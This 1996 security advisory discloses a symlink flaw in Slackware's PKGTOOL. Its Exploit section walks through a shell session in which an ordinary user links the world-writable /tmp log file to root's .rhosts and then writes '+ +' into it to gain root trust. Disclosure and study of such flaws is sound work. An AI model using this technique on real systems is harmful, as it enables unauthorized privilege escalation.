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-
- [BUG] Vulnerability in PKGTOOL
-
- Sean B. Hamor (hamors@LITTERBOX.ORG)
- Mon, 26 Aug 1996 21:22:49 -0400
-
- Note:
-
- I'm not sure whether or not information this has been previously released.
- I found this earlier this evening while poking around, and apologize if
- I've just found an old bug.
-
- I verified the existence of this bug in PKGTOOL for Linux Slackware 3.0.
- My assumption would be that most other Linux distributions are effected as
- well.
-
-
- Synopsis:
-
- A problem exists in the way PKGTOOL handles the /tmp/PKGTOOL.REMOVED
- logfile. This logfile is created mode 666, which allows any user to write
- to it. Although this file is usually created the first time PKGTOOL is
- run and can't be removed by normal users, a problem develops if root or
- the owner of the logfile deletes it for some reason or if PKGTOOL has
- never been run before.
-
-
- Exploit:
-
- If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user
- can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts
- (for a generic example). The next time PKGTOOL is run, which will more
- than likely be run by root, ~root/.rhosts will be created as a 666 file
- with the logs from PKGTOOL as its contents. One may now simply do an echo
- "+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED.
-
- For this example, root is the victim while hamors is the attacker:
-
- hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG
- - -rw-rw-rw- 1 root root 16584 Aug 26 18:07 PKGTOOL.REMOVED.backup
-
- hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED
-
- hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED
- cat: PKGTOOL.REMOVED: No such file or directory
-
- God (17 20:59) litterbox:~# pkgtool
- root now uses PKGTOOL to delete a package
-
- hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED
- Removing package tcl:
- Removing files:
- ...
-
- hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED
-
- hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts
- + +
-
-
- Verification:
-
- This vulnerability has been tested on Linux Slackware 3.0 with the stock
- installed PKGTOOL.
-
-